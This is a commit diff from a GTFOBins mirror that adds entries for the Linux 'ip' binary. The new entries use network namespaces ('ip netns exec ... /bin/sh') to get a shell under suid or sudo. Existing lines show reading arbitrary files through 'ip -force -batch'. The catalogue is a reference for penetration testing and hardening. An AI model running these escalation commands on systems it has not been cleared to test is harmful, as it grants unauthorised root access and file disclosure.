mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
parent
fec4b52281
commit
383db60b02
@ -10,8 +10,18 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
./ip -force -batch "$LFILE"
|
./ip -force -batch "$LFILE"
|
||||||
|
- description: This only works for Linux with CONFIG_NET_NS=y.
|
||||||
|
code: |
|
||||||
|
./ip netns add foo
|
||||||
|
./ip netns exec foo /bin/sh -p
|
||||||
|
./ip netns delete foo
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
sudo ip -force -batch "$LFILE"
|
sudo ip -force -batch "$LFILE"
|
||||||
|
- description: This only works for Linux with CONFIG_NET_NS=y.
|
||||||
|
code: |
|
||||||
|
sudo ip netns add foo
|
||||||
|
sudo ip netns exec foo /bin/sh
|
||||||
|
sudo ip netns delete foo
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user